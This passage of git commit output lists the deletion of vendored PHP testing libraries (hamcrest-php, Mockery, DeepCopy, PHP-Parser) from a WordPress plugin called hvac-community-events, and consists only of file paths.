wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/FeatureMatcherTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/InvokedMatcherTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/MatcherAssertTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/IsCloseToTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Number/OrderingComparisonTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/StringDescriptionTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEmptyStringTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringCaseTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/IsEqualIgnoringWhiteSpaceTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/MatchesPatternTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsIgnoringCaseTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsInOrderTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringContainsTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringEndsWithTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Text/StringStartsWithTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsArrayTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsBooleanTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsCallableTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsDoubleTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsIntegerTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsNumericTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsObjectTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsResourceTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsScalarTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Type/IsStringTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/UtilTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Xml/HasXPathTest.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/bootstrap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/hamcrest/hamcrest-php/tests/phpunit.xml.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.phpstorm.meta.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/.readthedocs.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CHANGELOG.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/CONTRIBUTING.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/COPYRIGHT.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/SECURITY.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/composer.lock delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/.gitignore delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/Makefile delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/_static/.gitkeep delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/conf.py delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/big_parent_class.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/class_constants.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/default_expectations.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/detecting_mock_objects.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/map.rst.inc delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mockery_on.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_class_within_class.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/mocking_hard_dependencies.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/cookbook/not_calling_the_constructor.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/installation.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/map.rst.inc delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/quick_reference.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/simple_example.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/getting_started/upgrading.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/configuration.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/exceptions.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/gotchas.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/map.rst.inc delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/mockery/reserved_method_names.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/alternative_should_receive_syntax.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/argument_validation.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/creating_test_doubles.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/demeter_chains.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/expectations.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/final_methods_classes.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/index.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/instance_mocking.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/magic_methods.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/map.rst.inc delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/partial_mocks.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/pass_by_reference_behaviours.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/phpunit_integration.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/protected_methods.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_properties.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/public_static_properties.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/reference/spies.rst delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/docs/requirements.txt delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryPHPUnitIntegrationAssertPostConditions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryTestCase.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/MockeryTestCaseSetUp.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListener.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Adapter/Phpunit/TestListenerTrait.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ClosureWrapper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CompositeExpectation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Configuration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Container.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtLeast.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/AtMost.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/CountValidatorInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/Exact.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/CountValidator/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/BadMethodCallException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidArgumentException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidCountException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/InvalidOrderException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/MockeryExceptionInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/NoMatchingExpectationException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Exception/RuntimeException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Expectation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationDirector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectationInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ExpectsHigherOrderMessage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/CachingGenerator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Generator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Method.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfiguration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockConfigurationBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/MockNameBuilder.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/Parameter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/AvoidMethodClashPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/CallTypeHintPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassAttributesPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassNamePass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ClassPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/ConstantsPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InstanceMockPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/InterfacePass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MagicMethodTypeHintsPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/MethodDefinitionPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/Pass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveBuiltinMethodsThatAreFinalPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveDestructorPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/RemoveUnserializeForInternalSerializableClassesPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulation/Pass/TraitPass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/StringManipulationGenerator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/TargetClassInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Generator/UndefinedTargetClass.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/HigherOrderMessage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Instantiator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/LegacyMockInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/Loader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Loader/RequireLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AndAnyOtherArgs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Any.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyArgs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/AnyOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/ArgumentListMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Closure.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Contains.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Ducktype.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasKey.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/HasValue.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsEqual.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/IsSame.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherAbstract.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MatcherInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MultiArgumentClosure.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/MustBe.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NoArgs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Not.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/NotAnyOf.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Pattern.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Subset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Matcher/Type.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MethodCall.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Mock.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/MockInterface.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/QuickDefinitionsConfiguration.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/ReceivedMethodCalls.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Reflector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/Undefined.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/VerificationDirector.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/Mockery/VerificationExpectation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/mockery/mockery/library/helpers.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/DeepCopy.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Exception/CloneException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Exception/PropertyException.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/ChainableFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineCollectionFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineEmptyCollectionFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Doctrine/DoctrineProxyFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/Filter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/KeepFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/ReplaceFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Filter/SetNullFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Doctrine/DoctrineProxyMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/Matcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyNameMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Matcher/PropertyTypeMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/Reflection/ReflectionHelper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DateIntervalFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Date/DatePeriodFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ReplaceFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/ShallowCopyFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/ArrayObjectFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedList.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/Spl/SplDoublyLinkedListFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeFilter/TypeFilter.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/TypeMatcher/TypeMatcher.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/myclabs/deep-copy/src/DeepCopy/deep_copy.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/README.md delete mode 100755 